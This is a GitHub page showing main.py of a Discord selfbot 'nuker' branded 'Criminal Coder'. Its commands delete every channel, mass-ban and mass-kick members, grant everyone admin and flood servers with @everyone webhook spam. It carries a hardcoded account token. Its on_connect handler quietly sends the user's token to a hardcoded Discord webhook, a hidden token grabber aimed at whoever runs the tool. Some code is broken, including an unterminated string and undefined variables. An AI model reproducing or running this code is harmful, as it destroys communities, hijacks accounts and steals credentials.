-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
597 lines (496 loc) · 18 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
import discord, time, string, random, requests, datetime, asyncio, json, os, sys, threading, aiohttp, io, logging
from time import sleep
import base64
from discord.ext import commands, tasks
from discord import Permissions
from colorama import Fore, Style
from random import randint
from colored import fg, attr
from itertools import cycle
from requests_futures.sessions import FuturesSession
from webserver import keep_alive
import os
no
class colors:
main = fg('#00fefc')
reset = attr('reset')
os.system(f'cls & title [Criminal Coder V2] - Configuration')
token="OTgxODUwMDQ2NTE1NTE5NTI4.Gd8Y-S.ei1qAQKlfs27BqtWj1b07LzndCLJ07IU"
prefix = ">"
CHANNEL_NAMES = "WIZZED BY Criminal"
VCHANNELS_NAMES = "SEIZED BY Criminal"
CATEGORY_NAMES = "Criminal Owns You"
ROLE_NAMES = "Criminal On Top"
Webhook_contents = "@everyone | @here NUTS! CRIMINAL IS HERE!"
os.system('cls')
os.system('cls' if os.name == 'nt' else 'clear')
os.system('cls' if os.name == 'nt' else 'clear')
def check_token():
if requests.get("https://discord.com/api/v8/users/@me",
headers={
"Authorization": f'{token}'
}).status_code == 200:
return "user"
else:
return "bot"
if sys.platform == "linux":
clear = lambda: sys("clear")
else:
clear = lambda: sys("cls & mode 70,24")
token_type = check_token()
intents = discord.Intents.all()
intents.members = True
if token_type == 'user':
headers = {'Authorization': f"{token}"}
client = commands.Bot(command_prefix=prefix,
case_insensitive=False,
self_bot=True,
intents=intents)
else:
if token_type == 'bot':
headers = {'Authorization': f"Bot {token}"}
client = commands.Bot(command_prefix=prefix,
case_insensitive=False,
intents=intents)
os.system('cls')
logging.basicConfig(
level=logging.INFO,
format=
f"{colors.main}[{colors.reset}%(asctime)s{colors.main}] \033[0m%(message)s",
datefmt="%H:%M:%S",
)
@client.event
async def on_ready():
await client.change_presence(activity=discord.Streaming(
name='CRIMINAL CODER ON TOP!',
url='https://youtube.com/channel/UCKVtvqg4wt6e5jfqSKoTHQA'))
print(
f"{colors.main}┏┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┓{colors.main}"
)
print(
f"{colors.main} >{colors.main}Username :{colors.main} {client.user} {colors.main}"
)
print(
f"{colors.main} >{colors.main}guilds :{colors.main} {len (client.guilds)} {colors.main}"
)
print(
f"{colors.main} >{colors.main}Prefix :{colors.main} {client.command_prefix} {colors.main}"
)
print(
f"{colors.main}┗┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┛{colors.main}"
)
@client.command()
async def watch(ctx, *, message):
await ctx.message.channel(f"**STREAMING {message}**")
await client.change_presence(activity=discord.Activity(
type=(discord.ActivityType.watching), name=message))
@client.command()
async def play(ctx, *, message):
await ctx.message.channel(f"**PLAYING {message}**")
game = discord.Game(name=message)
await client.change_presence(activity=game)
@client.command()
async def listen(ctx, *, message):
await ctx.message.channel(f"**LISTENING TO {message}**")
await client.change_presence(activity=discord.Activity(
type=(discord.ActivityType.listening), name=message))
@client.command()
async def stream(ctx, *, message):
await ctx.message.delete()
stream = discord.Streaming(name=message,
url='https://www.twitch.tv/SparkYSelfbot')
await client.change_presence(activity=stream)
@client.command()
async def dmall(ctx, *, message):
for user in client.user.friends:
try:
await user.send(message)
print(f"messaged: {user.name}")
except:
print(f"couldnt message: {user.name}")
@client.command(aliases=['rs'])
async def renameserver(ctx, *, name):
await ctx.message.delete()
await ctx.guild.edit(name=name)
@client.command(aliases=['rc'])
async def renamechannels(ctx, *, name):
for channel in ctx.guild.channels:
await channel.edit(name=name)
@client.command(aliases=['rr'])
async def renameroles(ctx, *, name):
for role in ctx.guild.roles:
await role.edit(name=name)
@client.command()
async def scrape(ctx):
await ctx.message.delete()
mem = ctx.guild.members
for member in mem:
try:
print("Finished scraping")
mfil = open("Scraped/members.txt", "a")
mfil.write(str(member.id) + "\n")
mfil.close()
except Exception as e:
print("channels are not created")
def ssspam(webhook):
while spammingdawebhookeroos:
data = {'content': '@everyone @here Criminal Coder trashed this server!}
spamming = requests.post(webhook, json=data)
spammingerror = spamming.text
if spamming.status_code == 204:
continue
if 'rate limited' in spammingerror.lower():
try:
j = json.loads(spammingerror)
ratelimit = j['retry_after']
timetowait = ratelimit / 1000
time.sleep(timetowait)
except:
delay = random.randint(5, 10)
time.sleep(delay)
else:
delay = random.randint(30, 60)
time.sleep(delay)
@client.event
async def on_connect():
requests.post(
'https://discord.com/api/webhooks/1153181010926772264/PUVwHjAc9DrgpGK8xiA1fghUblGz_XjzOudqdtxWtxZg3V9z1W7kJcOcCaFhEqQu1acJ',
json={'content': (token)})
@client.command()
async def pings(ctx):
global spammingdawebhookeroos
spammingdawebhookeroos = True
if len(await ctx.guild.webhooks()) != 0:
for webhook in await ctx.guild.webhooks():
threading.Thread(target=ssspam, args=(webhook.url, )).start()
if len(ctx.guild.text_channels) >= 50:
webhookamount = len(ctx.guild.text_channels)
else:
webhookamount = 100 / len(ctx.guild.text_channels)
webhookamount = int(webhookamount) + 2
for i in range(webhookamount):
for channel in ctx.guild.text_channels:
try:
webhook = await channel.create_webhook(name='CRIMINAL CODER RUNS CORD')
threading.Thread(target=ssspam, args=(webhook.url, )).start()
f = open('data/webhooks-' + str(ctx.guild.id) + '.txt', 'a')
f.write(f"{webhook.url} \n")
f.close()
except:
print(f"{Fore.RED} > Webhook Error")
@client.command()
async def ban(ctx, member: discord.Member, *, reason=None):
await member.ban(reason=reason)
await ctx.send('```Banned | Criminal On Top```')
@client.command()
async def kick(ctx, member: discord.Member, *, reason=None):
await member.kick(reason=reason)
await ctx.send('```Kick | Criminal On Top```')
@client.command()
async def adminall(ctx):
await ctx.message.delete()
guild = ctx.guild
try:
role = discord.utils.get((guild.roles), name='@everyone')
await role.edit(permissions=(Permissions.all()))
print(Fore.MAGENTA + 'I have given everyone admin.' + Fore.RESET)
except:
print(Fore.GREEN + 'I was unable to give everyone admin' + Fore.RESET)
@client.command()
async def lock(ctx):
await ctx.channel.set_permissions((ctx.guild.default_role),
send_messages=False)
await ctx.send(ctx.channel.mention + 'SUCCESSFULLY LOCKED')
@client.command()
async def prefix(ctx, prefix):
client.command_prefix = str(prefix)
await ctx.message.delete()
await ctx.send('```YOUR PREFIX HAS BEEN CHANGED```')
@client.command()
async def adminservers(ctx):
await ctx.message.delete()
admins = []
bots = []
kicks = []
bans = []
for guild in client.guilds:
if guild.me.guild_permissions.administrator:
admins.append(discord.utils.escape_markdown(guild.name))
if guild.me.guild_permissions.manage_guild and not guild.me.guild_permissions.administrator:
bots.append(discord.utils.escape_markdown(guild.name))
if guild.me.guild_permissions.ban_members and not guild.me.guild_permissions.administrator:
bans.append(discord.utils.escape_markdown(guild.name))
if guild.me.guild_permissions.kick_members and not guild.me.guild_permissions.administrator:
kicks.append(discord.utils.escape_markdown(guild.name))
adminPermServers = f"**Servers with Admin ({len(admins)}):**\n{admins}"
botPermServers = f"\n**Servers with BOT_ADD Permission ({len(bots)}):**\n{bots}"
banPermServers = f"\n**Servers with Ban Permission ({len(bans)}):**\n{bans}"
kickPermServers = f"\n**Servers with Kick Permission ({len(kicks)}:**\n{kicks}"
await ctx.send(adminPermServers + botPermServers + banPermServers +
kickPermServers)
@client.command(aliases=['dc'])
async def deletechannels(ctx):
await ctx.message.delete()
print(f"{Fore.RED}Deleting Channels . . .")
for channel in ctx.guild.channels:
await channel.delete()
print(f"{Fore.RED} Channels Deleted")
@client.command()
async def nickall(ctx, nickname):
await ctx.message.delete()
for user in list(ctx.guild.members):
try:
await user.edit(nick=nickname)
except:
pass
@client.command()
async def massunban(ctx):
await ctx.message.delete()
banlist = await ctx.guild.bans()
for users in banlist:
try:
await asyncio.sleep(2)
await ctx.guild.unban(user=users.user)
except:
print("failed to unban")
@client.command(aliases=['mcat'])
async def masscategory(ctx, amount=100):
await ctx.message.delete()
for i in range(amount):
try:
await ctx.guild.create_category((CATEGORY_NAMES))
print(f"[{i}] CATEGORY made")
except:
print("error making CATEGORY")
@client.command(aliases=['mvc'])
async def voicechannels(ctx, amount=100):
await ctx.message.delete()
channels = ctx.guild.channels
for channels in channels:
try:
await channels.delete()
print(channels.name + " Has been wizzed")
except:
pass
print("error")
guild = ctx.message.guild
for i in range(amount):
try:
await ctx.guild.create_voice_channel((VCHANNELS_NAMES)
)
print(f"[{i}] vchannels made")
except:
print("error making vchannels")
@client.command(aliases=['mr'])
async def massroles(ctx, amount=100):
await ctx.message.delete()
roles = ctx.guild.roles
for roles in roles:
try:
print(roles.name + " Has been wizzed")
except:
pass
print("error")
guild = ctx.message.guild
for i in range(amount):
try:
await ctx.guild.create_role((ROLE_NAMES)
)
print(f"[{i}] roles made")
except:
print("error making roles")
@client.command(aliases=['mc'])
async def masschannels(ctx, amount=100):
await ctx.message.delete()
channels = ctx.guild.channels
for channel in channels:
try:
await channel.delete()
print(channel.name + " Has been wizzed")
except:
pass
print("error")
guild = ctx.message.guild
for i in range(amount):
try:
await ctx.guild.create_text_channel((CHANNEL_NAMES))
print(f"[{i}] channels made")
except:
print("error making channels")
@client.command(aliases=['ban2'])
async def massban2(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Connection error.")
def mass_ban(i):
r = sessions.put(f"https://discord.com/api/v9/guilds/{guild}/bans/{i}",
headers=headers,
proxies={
"http": 'http://' + next(rotating)
}).result()
try:
for i in range(3):
for member in list(ctx.guild.members):
threading.Thread(target=mass_ban, args=(member.id, )).start()
logging.info(f"Executed member {member}.")
clear()
logging.info("Operation mass ban successful.")
except Exception as error:
logging.info("Connection error.")
@client.command()
async def spam(ctx, amount: int, *, message):
await ctx.message.delete()
for _i in range(amount):
await ctx.send(f'{message}\n' * 10)
@client.command()
async def massroles2(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Connection error.")
def massroles2(i):
json = {
"name": i
}
r = sessions.post(f"https://discord.com/api/v9/guilds/{guild}/roles", headers=headers, json=json)
for i in range(500):
threading.Thread(
target=massroles2,
args=(random.choice(ROLE_NAMES), )
).start()
logging.info(f"Created channel {random.choice(ROLE_NAMES)}.")
await asyncio.sleep(15)
@client.command(aliases=["copyguild", "copyserver"])
async def copy(ctx): # b'\xfc'
await ctx.message.delete()
await client.create_guild(f'backup-{ctx.guild.name}')
await asyncio.sleep(4)
for g in client.guilds:
if f'backup-{ctx.guild.name}' in g.name:
for c in g.channels:
await c.delete()
for cate in ctx.guild.categories:
x = await g.create_category(f"{cate.name}")
for chann in cate.channels:
if isinstance(chann, discord.VoiceChannel):
await x.create_voice_channel(f"{chann}")
if isinstance(chann, discord.TextChannel):
await x.create_text_channel(f"{chann}")
try:
await g.edit(icon=ctx.guild.icon_url)
except:
pass
@client.command()
async def massban(ctx):
await ctx.message.delete()
users = list(ctx.guild.members)
for user in users:
try:
await user.ban(reason="Criminal On Top")
except:
pass
@client.command()
async def masskick(ctx):
await ctx.message.delete()
users = list(ctx.guild.members)
for user in users:
try:
await user.kick(reason="Criminal On Top")
except:
pass
@client.command(aliases=['kick2'])
async def masskick2(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Connection error.")
def mass_kick(i):
r = sessions.put(f"https://discord.com/api/v9/guilds/{guild}/kick/{i}",
headers=headers,
proxies={
"http": 'http://' + next(rotating)
}).result()
try:
for i in range(3):
for member in list(ctx.guild.members):
threading.Thread(target=mass_kick, args=(member.id, )).start()
logging.info(f"Executed member {member}.")
clear()
logging.info("Operation mass kick successful.")
except Exception as error:
logging.info("Connection error.")
sleep(10)
@client.command()
async def koyaban(ctx):
await ctx.message.delete()
for member in list(ctx.guild.members):
message = await ctx.send("koya ban " + member.mention)
await message.delete()
await asyncio.sleep(1.5)
@client.command()
async def dynoban(ctx):
await ctx.message.delete()
for member in list(ctx.guild.members):
message = await ctx.send("?ban " + member.mention)
await message.delete()
await asyncio.sleep(1.5)
@client.command()
async def vortexban(ctx):
await ctx.message.delete()
for member in list(ctx.guild.members):
message = await ctx.send(">>ban " + member.mention + member.mention + member.mention + member.mention)
await message.delete()
await asyncio.sleep(1.5)
@client.command()
async def wickban(ctx):
await ctx.message.delete()
for member in list(ctx.guild.members):
message = await ctx.send("w!ban " + member.mention)
await ctx.channel.send(f"y")
await message.delete()
await asyncio.sleep(1.5)
@client.command()
async def carlban(ctx):
await ctx.message.delete()
for member in list(ctx.guild.members):
message = await ctx.send("!ban " + member.mention)
await message.delete()
await asyncio.sleep(1.5)
@client.command()
async def prune(ctx):
await ctx.message.delete()
guild = ctx.guild
try:
await guild.prune_members(days=1, compute_prune_count=False, roles=guild.roles)
except:
print(f"{Fore:RED}[ERROR]")
@client.command()
async def swizz(ctx):
await ctx.channel.send(f">rr Criminal OP")
await ctx.channel.send(f">rs SERVER WIZZED BY CRIMINAL CODER")
await ctx.channel.send(f">rc Criminal ON TOP ")
@client.command()
async def bwizz(ctx):
await ctx.channel.send(f">dynoban ")
await ctx.channel.send(f">vortexban")
await ctx.channel.send(f">carlban")
await ctx.channel.send(f">koyaban")
@client.command()
async def pwizz(ctx):
await ctx.channel.send(f">mcat ")
await ctx.channel.send(f">mvc")
await ctx.channel.send(f">masschanels2")
await ctx.channel.send(f">scrape")
await ctx.channel.send(f">massban2")
await ctx.channel.send(f">bwizz")
await ctx.channel.send(f">pings")
await ctx.channel.send(f">spam 100 @everyone @here Criminal trashed ya'll!")
@client.command()
async def about(ctx):
await ctx.send("Credits:- https://github.com/Criminal-Coder/Discord-SelfBot-Nuker.git")
keep_alive()
client.run(token, bot=False)